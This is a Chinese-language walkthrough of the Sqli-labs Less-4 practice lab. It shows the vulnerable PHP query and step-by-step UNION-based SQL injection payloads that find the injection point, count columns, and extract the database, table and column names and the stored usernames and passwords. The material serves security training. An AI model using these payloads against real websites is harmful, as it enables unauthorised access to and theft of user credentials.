Sqli-labs Less-4 Union注入

打开页面后提示“请输入参数id,并为它赋一个数字值”。

1、寻找注入点

输入?id=1 正常;输入?id=1" 报错,说明存在sql注入漏洞。

查看后台源码发现如下查询语句,与Less-3基于错误的GET单引号变形字符型注入区别在于,构建payload新增 ")双引号右括号 而不是 ‘)单引号右括号,)右括号表示变形!

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

2、查询该数据表中的字段数量

输入?id=1") order by 3 --+ 正常;

输入?id=1") order by 4 --+ 报错,说明该数据表中字段数为3。

3、爆数据库

?id=-1") union select 1,2,database() --+

4、爆数据表

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

5、爆数据列(字段)

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

6、爆数据值

?id=-1") union select 1,2,group_concat(username,0x3a,password) from users--

原文地址:https://www.cnblogs.com/zhengna/p/12445784.html